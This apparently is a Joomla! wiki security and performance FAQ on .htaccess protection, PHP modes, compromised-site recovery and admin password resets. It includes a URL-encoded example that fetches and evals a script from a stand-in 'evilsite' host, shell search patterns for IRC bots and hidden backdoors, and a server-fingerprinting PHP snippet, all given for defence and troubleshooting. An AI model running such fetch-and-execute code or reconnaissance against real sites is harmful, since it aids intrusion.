'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table class="wikitable" border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T23:00:56Z

Cadrlp: /* Edited by */ wikipage check history

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

